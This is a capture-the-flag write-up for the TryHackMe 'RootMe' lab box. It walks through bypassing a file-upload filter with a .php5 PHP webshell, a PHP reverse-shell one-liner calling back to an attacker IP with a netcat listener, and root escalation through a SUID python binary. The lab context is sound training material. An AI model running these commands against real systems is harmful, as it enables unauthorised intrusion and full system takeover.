THM: RootMe
Intro⌗
RootMe is an easy Linux box where we’ll exploit the ability to upload an arbitrary file to get remote code execution. It’s a good box for practicing how to approach a file upload vulnerability when the developer has put some basic defenses in place that must be circumvented in order to achieve RCE.
Tools Used⌗
- rustscan
- ffuf
- Burp Suite
- netcat
Recon⌗
As always we will start by scanning the host for open ports:
rustscan -a 10.10.131.112 -- -sC -sV -oA scans/nmap_initial
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9irIQxn1jiKNjwLFTFBitstKOcP7gYt7HQsk6kyRQJjlkhHYuIaLTtt1adsWWUhAlMGl+97TsNK93DijTFrjzz4iv1Zwpt2hhSPQG0GibavCBf5GVPb6TitSskqpgGmFAcvyEFv6fLBS7jUzbG50PDgXHPNIn2WUoa2tLPSr23Di3QO9miVT3+TqdvMiphYaz0RUAD/QMLdXipATI5DydoXhtymG7Nb11sVmgZ00DPK+XJ7WB++ndNdzLW9525v4wzkr1vsfUo9rTMo6D6ZeUF8MngQQx5u4pA230IIXMXoRMaWoUgCB6GENFUhzNrUfryL02/EMt5pgfj8G7ojx5
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBERAcu0+Tsp5KwMXdhMWEbPcF5JrZzhDTVERXqFstm7WA/5+6JiNmLNSPrqTuMb2ZpJvtL9MPhhCEDu6KZ7q6rI=
| 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC4fnU3h1O9PseKBbB/6m5x8Bo3cwSPmnfmcWQAVN93J
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration⌗
Let’s start our enumeration by looking at the web service running on port 80.
It’s just a basic teaser page without any real content, and nothing noteworthy in the source.
With not much else to go on here, let’s break out ffuf
and scan for content. The nmap results suggest PHP may be enabled on Apache, so we can use the -e
flag to scan for files with a .php
extension as well as directories.
ffuf -e .php -u http://10.10.131.112/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
index.php [Status: 200, Size: 616, Words: 115, Lines: 26]
uploads [Status: 301, Size: 316, Words: 20, Lines: 10]
css [Status: 301, Size: 312, Words: 20, Lines: 10]
js [Status: 301, Size: 311, Words: 20, Lines: 10]
panel [Status: 301, Size: 314, Words: 20, Lines: 10]
We might be on to something! It looks like we can upload files to the server from the /panel
page.
Let’s poke at this and get a better understanding of how the app handles uploads.
Will it let us upload any kind of file? Is it filtering by file extensions? By magic bytes? By file size?
Let’s start with a plain text file first.
echo "testing" > test.txt
- Upload the file
- Check if it was written to the
/uploads
directory
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/RootMe]
└─$ curl -i http://10.10.131.112/uploads/test.txt
HTTP/1.1 200 OK
Date: Tue, 27 Apr 2021 23:34:39 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Tue, 27 Apr 2021 23:34:03 GMT
ETag: "8-5c0fcb292f3e0"
Accept-Ranges: bytes
Content-Length: 8
Content-Type: text/plain
testing
That confirms we can upload arbitrary files. What we really want is to get remote code execution somehow, so let’s try uploading a basic PHP webshell next.
echo '<?php echo system($_GET["cmd"]); ?>' > shell.php
to create the file locally.
That did not work.. apparently .php
files are not allowed. That doesn’t necessarily mean we can’t upload PHP code, though. .php
is the most common extension for PHP files but .php3
, .php5
, and .phtml
are also worth checking. Not every web server will have them enabled, but let’s test anyway.
Let’s open up Burp Suite to intercept the upload request using the same file again and send it to Repeater. From there we can easily modify the filename to iterate through the different extensions, starting with .php3
.
That worked! But wait a minute…
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/RootMe]
└─$ curl -i http://10.10.131.112/uploads/shell.php3?cmd=whoami
HTTP/1.1 200 OK
Date: Tue, 27 Apr 2021 23:55:14 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Tue, 27 Apr 2021 23:52:16 GMT
ETag: "24-5c0fcf3b1baa0"
Accept-Ranges: bytes
Content-Length: 36
<?php echo system($_GET["cmd"]); ?>
While the app is not filtering uploads of .php3
files, the server is also not configured to execute them as PHP so this doesn’t help us.
If we repeat the process and this time change the extension to .php5
, we’re able to bypass the content filter and we have code execution!
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/RootMe]
└─$ curl -i http://10.10.131.112/uploads/shell.php5?cmd=whoami
HTTP/1.1 200 OK
Date: Tue, 27 Apr 2021 23:57:10 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 17
Content-Type: text/html; charset=UTF-8
www-data
www-data
Exploitation⌗
Now that we have RCE, let’s go for a shell!
First open up a netcat listener in a terminal to catch the reverse shell.
nc -nlvp 4444
Then we can use a PHP one-liner to send a shell:
php -r '$sock=fsockopen("10.6.48.252",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
Sweet! Now that we’re in the box we can search for the user flag.
There are 2 users with home directories in /home
, but neither contain the flag. A simple search will point us in the right direction.
bash-4.4$ find / -name 'user.txt' 2>/dev/null
/var/www/user.txt
bash-4.4$ wc -c /var/www/user.txt
21 /var/www/user.txt
Privilege Escalation⌗
We could try to escalate to one of the other users to get to root, but let’s quickly check for SUID binaries first.
find / -user root -type f -perm /4000 2>/dev/null
We get a lot of results back, but one obviously shouldn’t be there… python!
bash-4.4$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
# wc -c /root/root.txt
26 /root/root.txt
We are technically still the www-data
user, but because the python executable is owned by root and has the SUID bit set, the process runs with UID 0
, giving us an effective root shell.